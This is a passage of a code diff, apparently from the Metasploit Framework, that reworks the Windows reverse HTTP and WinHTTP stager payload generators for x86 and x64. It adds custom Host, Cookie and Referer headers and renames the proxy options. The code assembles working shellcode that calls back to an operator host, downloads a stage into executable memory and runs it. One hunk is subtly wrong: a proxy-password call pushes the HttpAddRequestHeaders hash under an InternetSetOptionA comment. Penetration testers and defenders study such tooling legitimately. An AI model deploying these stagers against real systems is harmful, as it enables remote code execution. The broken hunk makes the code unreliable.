proxy_type: ds['PayloadProxyType'],
|
proxy_type: ds['HttpProxyType'],
|
||||||
proxy_user: ds['PayloadProxyUser'],
|
proxy_user: ds['HttpProxyUser'],
|
||||||
proxy_pass: ds['PayloadProxyPass']
|
proxy_pass: ds['HttpProxyPass'],
|
||||||
|
host: ds['HttpHostHeader'],
|
||||||
|
cookie: ds['HttpCookie'],
|
||||||
|
referer: ds['HttpReferer'],
|
||||||
|
custom_headers: get_custom_headers(ds)
|
||||||
}.merge(timeout_config(opts))
|
}.merge(timeout_config(opts))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -80,6 +84,19 @@ module Msf::Payload::TransportConfig
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
|
def get_custom_headers(ds)
|
||||||
|
headers = ""
|
||||||
|
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
|
||||||
|
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
|
||||||
|
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
|
||||||
|
|
||||||
|
if headers.length > 0
|
||||||
|
headers
|
||||||
|
else
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def timeout_config(opts={})
|
def timeout_config(opts={})
|
||||||
ds = opts[:datastore] || datastore
|
ds = opts[:datastore] || datastore
|
||||||
{
|
{
|
||||||
|
|
|
@ -43,7 +43,8 @@ class Msf::Payload::UUID
|
||||||
24 => ARCH_AARCH64,
|
24 => ARCH_AARCH64,
|
||||||
25 => ARCH_MIPS64,
|
25 => ARCH_MIPS64,
|
||||||
26 => ARCH_PPC64LE,
|
26 => ARCH_PPC64LE,
|
||||||
27 => ARCH_R
|
27 => ARCH_R,
|
||||||
|
28 => ARCH_PPCE500V2
|
||||||
}
|
}
|
||||||
|
|
||||||
Platforms = {
|
Platforms = {
|
||||||
|
@ -253,6 +254,10 @@ class Msf::Payload::UUID
|
||||||
self.xor1 = opts[:xor1]
|
self.xor1 = opts[:xor1]
|
||||||
self.xor2 = opts[:xor2]
|
self.xor2 = opts[:xor2]
|
||||||
|
|
||||||
|
self.timestamp = nil
|
||||||
|
self.name = nil
|
||||||
|
self.registered = false
|
||||||
|
|
||||||
if opts[:seed]
|
if opts[:seed]
|
||||||
self.puid = self.class.seed_to_puid(opts[:seed])
|
self.puid = self.class.seed_to_puid(opts[:seed])
|
||||||
end
|
end
|
||||||
|
@ -366,6 +371,10 @@ class Msf::Payload::UUID
|
||||||
self
|
self
|
||||||
end
|
end
|
||||||
|
|
||||||
|
attr_accessor :registered
|
||||||
|
attr_accessor :timestamp
|
||||||
|
attr_accessor :name
|
||||||
|
|
||||||
attr_reader :arch
|
attr_reader :arch
|
||||||
attr_reader :platform
|
attr_reader :platform
|
||||||
|
|
||||||
|
|
|
@ -27,17 +27,12 @@ module Payload::Windows::ReverseHttp
|
||||||
#
|
#
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options(
|
||||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
|
||||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
Msf::Opt::stager_retry_options +
|
||||||
aliases: ['ReverseConnectRetries']),
|
Msf::Opt::http_header_options +
|
||||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
|
Msf::Opt::http_proxy_options
|
||||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
)
|
||||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
|
||||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
|
||||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
|
||||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -47,22 +42,23 @@ module Payload::Windows::ReverseHttp
|
||||||
ds = opts[:datastore] || datastore
|
ds = opts[:datastore] || datastore
|
||||||
conf = {
|
conf = {
|
||||||
ssl: opts[:ssl] || false,
|
ssl: opts[:ssl] || false,
|
||||||
host: ds['LHOST'],
|
host: ds['LHOST'] || '127.127.127.127',
|
||||||
port: ds['LPORT'],
|
port: ds['LPORT'],
|
||||||
retry_count: ds['StagerRetryCount'],
|
retry_count: ds['StagerRetryCount'],
|
||||||
retry_wait: ds['StagerRetryWait']
|
retry_wait: ds['StagerRetryWait']
|
||||||
}
|
}
|
||||||
|
|
||||||
# Add extra options if we have enough space
|
# Add extra options if we have enough space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space.nil? || required_space <= self.available_space
|
||||||
conf[:url] = luri + generate_uri(opts)
|
conf[:url] = luri + generate_uri(opts)
|
||||||
conf[:exitfunk] = ds['EXITFUNC']
|
conf[:exitfunk] = ds['EXITFUNC']
|
||||||
conf[:ua] = ds['MeterpreterUserAgent']
|
conf[:ua] = ds['HttpUserAgent']
|
||||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
conf[:proxy_host] = ds['HttpProxyHost']
|
||||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
conf[:proxy_port] = ds['HttpProxyPort']
|
||||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
conf[:proxy_user] = ds['HttpProxyUser']
|
||||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
conf[:proxy_pass] = ds['HttpProxyPass']
|
||||||
conf[:proxy_type] = ds['PayloadProxyType']
|
conf[:proxy_type] = ds['HttpProxyType']
|
||||||
|
conf[:custom_headers] = get_custom_headers(ds)
|
||||||
else
|
else
|
||||||
# Otherwise default to small URIs
|
# Otherwise default to small URIs
|
||||||
conf[:url] = luri + generate_small_uri
|
conf[:url] = luri + generate_small_uri
|
||||||
|
@ -71,6 +67,22 @@ module Payload::Windows::ReverseHttp
|
||||||
generate_reverse_http(conf)
|
generate_reverse_http(conf)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the custom headers string
|
||||||
|
#
|
||||||
|
def get_custom_headers(ds)
|
||||||
|
headers = ""
|
||||||
|
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
|
||||||
|
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
|
||||||
|
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
|
||||||
|
|
||||||
|
if headers.length > 0
|
||||||
|
headers
|
||||||
|
else
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate and compile the stager
|
# Generate and compile the stager
|
||||||
#
|
#
|
||||||
|
@ -138,10 +150,23 @@ module Payload::Windows::ReverseHttp
|
||||||
# Proxy options?
|
# Proxy options?
|
||||||
space += 200
|
space += 200
|
||||||
|
|
||||||
|
# Custom headers? Ugh, impossible to tell
|
||||||
|
space += 512
|
||||||
|
|
||||||
# The final estimated size
|
# The final estimated size
|
||||||
space
|
space
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Convert a string into a NULL-terminated ASCII byte array
|
||||||
|
#
|
||||||
|
def asm_generate_ascii_array(str)
|
||||||
|
(str.to_s + "\x00").
|
||||||
|
unpack("C*").
|
||||||
|
map{ |c| "0x%.2x" % c }.
|
||||||
|
join(",")
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate an assembly stub with the configured feature set and options.
|
# Generate an assembly stub with the configured feature set and options.
|
||||||
#
|
#
|
||||||
|
@ -155,6 +180,7 @@ module Payload::Windows::ReverseHttp
|
||||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||||
# @option opts [String] :proxy_user The optional proxy server username
|
# @option opts [String] :proxy_user The optional proxy server username
|
||||||
# @option opts [String] :proxy_pass The optional proxy server password
|
# @option opts [String] :proxy_pass The optional proxy server password
|
||||||
|
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||||
#
|
#
|
||||||
|
@ -181,6 +207,8 @@ module Payload::Windows::ReverseHttp
|
||||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||||
|
|
||||||
|
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
|
||||||
|
|
||||||
http_open_flags = 0
|
http_open_flags = 0
|
||||||
secure_flags = 0
|
secure_flags = 0
|
||||||
|
|
||||||
|
@ -222,10 +250,10 @@ module Payload::Windows::ReverseHttp
|
||||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||||
push 0x696e6977 ; ...
|
push 0x696e6977 ; ...
|
||||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||||
call ebp ; LoadLibraryA( "wininet" )
|
call ebp ; LoadLibraryA( "wininet" )
|
||||||
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
||||||
^
|
^
|
||||||
|
|
||||||
if proxy_enabled
|
if proxy_enabled
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
|
@ -238,7 +266,7 @@ module Payload::Windows::ReverseHttp
|
||||||
; LPCTSTR lpszProxyName (via call)
|
; LPCTSTR lpszProxyName (via call)
|
||||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
|
||||||
call ebp
|
call ebp
|
||||||
^
|
^
|
||||||
else
|
else
|
||||||
|
@ -249,7 +277,7 @@ module Payload::Windows::ReverseHttp
|
||||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
|
||||||
call ebp
|
call ebp
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
@ -267,10 +295,10 @@ module Payload::Windows::ReverseHttp
|
||||||
db "#{opts[:url]}", 0x00
|
db "#{opts[:url]}", 0x00
|
||||||
got_server_host:
|
got_server_host:
|
||||||
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
|
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
|
||||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
|
||||||
call ebp
|
call ebp
|
||||||
mov esi, eax ; Store hConnection in esi
|
mov esi, eax ; Store hConnection in esi
|
||||||
^
|
^
|
||||||
|
|
||||||
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
|
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
|
||||||
# doesn't set the Proxy-Authorization header on the CONNECT request.
|
# doesn't set the Proxy-Authorization header on the CONNECT request.
|
||||||
|
@ -286,7 +314,7 @@ module Payload::Windows::ReverseHttp
|
||||||
; LPVOID lpBuffer (username from previous call)
|
; LPVOID lpBuffer (username from previous call)
|
||||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||||
push esi ; hConnection
|
push esi ; hConnection
|
||||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||||
call ebp
|
call ebp
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
@ -302,7 +330,7 @@ module Payload::Windows::ReverseHttp
|
||||||
; LPVOID lpBuffer (password from previous call)
|
; LPVOID lpBuffer (password from previous call)
|
||||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||||
push esi ; hConnection
|
push esi ; hConnection
|
||||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpAddRequestHeaders')}
|
||||||
call ebp
|
call ebp
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
@ -317,7 +345,7 @@ module Payload::Windows::ReverseHttp
|
||||||
push edi ; server URI
|
push edi ; server URI
|
||||||
push ebx ; method
|
push ebx ; method
|
||||||
push esi ; hConnection
|
push esi ; hConnection
|
||||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
|
||||||
call ebp
|
call ebp
|
||||||
xchg esi, eax ; save hHttpRequest in esi
|
xchg esi, eax ; save hHttpRequest in esi
|
||||||
^
|
^
|
||||||
|
@ -334,7 +362,6 @@ module Payload::Windows::ReverseHttp
|
||||||
send_request:
|
send_request:
|
||||||
^
|
^
|
||||||
|
|
||||||
|
|
||||||
if opts[:ssl]
|
if opts[:ssl]
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||||
|
@ -345,7 +372,7 @@ module Payload::Windows::ReverseHttp
|
||||||
push eax ; &dwFlags
|
push eax ; &dwFlags
|
||||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||||
push esi ; hHttpRequest
|
push esi ; hHttpRequest
|
||||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||||
call ebp
|
call ebp
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
@ -354,17 +381,32 @@ module Payload::Windows::ReverseHttp
|
||||||
httpsendrequest:
|
httpsendrequest:
|
||||||
push ebx ; lpOptional length (0)
|
push ebx ; lpOptional length (0)
|
||||||
push ebx ; lpOptional (NULL)
|
push ebx ; lpOptional (NULL)
|
||||||
push ebx ; dwHeadersLength (0)
|
^
|
||||||
push ebx ; lpszHeaders (NULL)
|
|
||||||
|
if custom_headers
|
||||||
|
asm << %Q^
|
||||||
|
push -1 ; dwHeadersLength (assume NULL terminated)
|
||||||
|
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||||
|
db #{custom_headers}
|
||||||
|
get_req_headers:
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
|
push ebx ; HeadersLength (0)
|
||||||
|
push ebx ; Headers (NULL)
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
push esi ; hHttpRequest
|
push esi ; hHttpRequest
|
||||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
|
||||||
call ebp
|
call ebp
|
||||||
test eax,eax
|
test eax,eax
|
||||||
jnz allocate_memory
|
jnz allocate_memory
|
||||||
|
|
||||||
set_wait:
|
set_wait:
|
||||||
push #{retry_wait} ; dwMilliseconds
|
push #{retry_wait} ; dwMilliseconds
|
||||||
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||||
call ebp ; Sleep( dwMilliseconds );
|
call ebp ; Sleep( dwMilliseconds );
|
||||||
^
|
^
|
||||||
|
|
||||||
|
@ -404,7 +446,7 @@ module Payload::Windows::ReverseHttp
|
||||||
push 0x1000 ; MEM_COMMIT
|
push 0x1000 ; MEM_COMMIT
|
||||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||||
push ebx ; NULL as we dont care where the allocation is
|
push ebx ; NULL as we dont care where the allocation is
|
||||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
|
||||||
download_prep:
|
download_prep:
|
||||||
|
@ -418,7 +460,7 @@ module Payload::Windows::ReverseHttp
|
||||||
push 8192 ; read length
|
push 8192 ; read length
|
||||||
push ebx ; buffer
|
push ebx ; buffer
|
||||||
push esi ; hRequest
|
push esi ; hRequest
|
||||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
|
||||||
call ebp
|
call ebp
|
||||||
|
|
||||||
test eax,eax ; download failed? (optional?)
|
test eax,eax ; download failed? (optional?)
|
||||||
|
|
|
@ -21,7 +21,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options([
|
||||||
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
|
OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -29,24 +29,26 @@ module Payload::Windows::ReverseWinHttp
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate(opts={})
|
def generate(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
conf = {
|
conf = {
|
||||||
ssl: opts[:ssl] || false,
|
ssl: opts[:ssl] || false,
|
||||||
host: datastore['LHOST'] || '127.127.127.127',
|
host: ds['LHOST'] || '127.127.127.127',
|
||||||
port: datastore['LPORT']
|
port: ds['LPORT']
|
||||||
}
|
}
|
||||||
|
|
||||||
# Add extra options if we have enough space
|
# Add extra options if we have enough space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space.nil? || required_space <= self.available_space
|
||||||
conf[:uri] = luri + generate_uri
|
conf[:uri] = luri + generate_uri
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
conf[:exitfunk] = ds['EXITFUNC']
|
||||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
conf[:proxy_host] = ds['HttpProxyHost']
|
||||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
conf[:proxy_port] = ds['HttpProxyPort']
|
||||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
conf[:proxy_user] = ds['HttpProxyUser']
|
||||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
conf[:proxy_pass] = ds['HttpProxyPass']
|
||||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
conf[:proxy_type] = ds['HttpProxyType']
|
||||||
conf[:retry_count] = datastore['StagerRetryCount']
|
conf[:retry_count] = ds['StagerRetryCount']
|
||||||
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
conf[:proxy_ie] = ds['HttpProxyIE']
|
||||||
|
conf[:custom_headers] = get_custom_headers(ds)
|
||||||
else
|
else
|
||||||
# Otherwise default to small URIs
|
# Otherwise default to small URIs
|
||||||
conf[:uri] = luri + generate_small_uri
|
conf[:uri] = luri + generate_small_uri
|
||||||
|
@ -93,6 +95,9 @@ module Payload::Windows::ReverseWinHttp
|
||||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||||
space += 31
|
space += 31
|
||||||
|
|
||||||
|
# Custom headers? Ugh, impossible to tell
|
||||||
|
space += 512 * 2
|
||||||
|
|
||||||
# The final estimated size
|
# The final estimated size
|
||||||
space
|
space
|
||||||
end
|
end
|
||||||
|
@ -167,6 +172,8 @@ module Payload::Windows::ReverseWinHttp
|
||||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||||
|
|
||||||
|
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
|
||||||
|
|
||||||
http_open_flags = 0
|
http_open_flags = 0
|
||||||
secure_flags = 0
|
secure_flags = 0
|
||||||
|
|
||||||
|
@ -434,8 +441,23 @@ module Payload::Windows::ReverseWinHttp
|
||||||
push ebx ; TotalLength [6]
|
push ebx ; TotalLength [6]
|
||||||
push ebx ; OptionalLength (0) [5]
|
push ebx ; OptionalLength (0) [5]
|
||||||
push ebx ; Optional (NULL) [4]
|
push ebx ; Optional (NULL) [4]
|
||||||
|
^
|
||||||
|
|
||||||
|
if custom_headers
|
||||||
|
asm << %Q^
|
||||||
|
push -1 ; dwHeadersLength (assume NULL terminated) [3]
|
||||||
|
call get_req_headers ; lpszHeaders (pointer to the custom headers) [2]
|
||||||
|
db #{custom_headers}
|
||||||
|
get_req_headers:
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
push ebx ; HeadersLength (0) [3]
|
push ebx ; HeadersLength (0) [3]
|
||||||
push ebx ; Headers (NULL) [2]
|
push ebx ; Headers (NULL) [2]
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
|
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
|
||||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
|
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
|
||||||
call ebp
|
call ebp
|
||||||
|
|
|
@ -27,17 +27,12 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
#
|
#
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options(
|
||||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
|
||||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
Msf::Opt::stager_retry_options +
|
||||||
aliases: ['ReverseConnectRetries']),
|
Msf::Opt::http_header_options +
|
||||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
|
Msf::Opt::http_proxy_options
|
||||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
)
|
||||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
|
||||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
|
||||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
|
||||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def transport_config(opts={})
|
def transport_config(opts={})
|
||||||
|
@ -52,22 +47,23 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
|
|
||||||
conf = {
|
conf = {
|
||||||
ssl: opts[:ssl] || false,
|
ssl: opts[:ssl] || false,
|
||||||
host: ds['LHOST'],
|
host: ds['LHOST'] || '127.127.127.127',
|
||||||
port: ds['LPORT'],
|
port: ds['LPORT'],
|
||||||
retry_count: ds['StagerRetryCount'],
|
retry_count: ds['StagerRetryCount'],
|
||||||
retry_wait: ds['StagerRetryWait']
|
retry_wait: ds['StagerRetryWait']
|
||||||
}
|
}
|
||||||
|
|
||||||
# add extended options if we do have enough space
|
# add extended options if we do have enough space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space.nil? || required_space <= self.available_space
|
||||||
conf[:url] = luri + generate_uri(opts)
|
conf[:url] = luri + generate_uri(opts)
|
||||||
conf[:exitfunk] = ds['EXITFUNC']
|
conf[:exitfunk] = ds['EXITFUNC']
|
||||||
conf[:ua] = ds['MeterpreterUserAgent']
|
conf[:ua] = ds['HttpUserAgent']
|
||||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
conf[:proxy_host] = ds['HttpProxyHost']
|
||||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
conf[:proxy_port] = ds['HttpProxyPort']
|
||||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
conf[:proxy_user] = ds['HttpProxyUser']
|
||||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
conf[:proxy_pass] = ds['HttpProxyPass']
|
||||||
conf[:proxy_type] = ds['PayloadProxyType']
|
conf[:proxy_type] = ds['HttpProxyType']
|
||||||
|
conf[:custom_headers] = get_custom_headers(ds)
|
||||||
else
|
else
|
||||||
# Otherwise default to small URIs
|
# Otherwise default to small URIs
|
||||||
conf[:url] = luri + generate_small_uri
|
conf[:url] = luri + generate_small_uri
|
||||||
|
@ -76,6 +72,22 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
generate_reverse_http(conf)
|
generate_reverse_http(conf)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the custom headers string
|
||||||
|
#
|
||||||
|
def get_custom_headers(ds)
|
||||||
|
headers = ""
|
||||||
|
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
|
||||||
|
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
|
||||||
|
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
|
||||||
|
|
||||||
|
if headers.length > 0
|
||||||
|
headers
|
||||||
|
else
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate and compile the stager
|
# Generate and compile the stager
|
||||||
#
|
#
|
||||||
|
@ -89,6 +101,7 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
pop rbp ; rbp now contains the block API pointer
|
pop rbp ; rbp now contains the block API pointer
|
||||||
#{asm_reverse_http(opts)}
|
#{asm_reverse_http(opts)}
|
||||||
^
|
^
|
||||||
|
|
||||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -137,10 +150,23 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
# Proxy options?
|
# Proxy options?
|
||||||
space += 200
|
space += 200
|
||||||
|
|
||||||
|
# Custom headers? Ugh, impossible to tell
|
||||||
|
space += 512
|
||||||
|
|
||||||
# The final estimated size
|
# The final estimated size
|
||||||
space
|
space
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Convert a string into a NULL-terminated ASCII byte array
|
||||||
|
#
|
||||||
|
def asm_generate_ascii_array(str)
|
||||||
|
(str.to_s + "\x00").
|
||||||
|
unpack("C*").
|
||||||
|
map{ |c| "0x%.2x" % c }.
|
||||||
|
join(",")
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate an assembly stub with the configured feature set and options.
|
# Generate an assembly stub with the configured feature set and options.
|
||||||
#
|
#
|
||||||
|
@ -154,6 +180,7 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
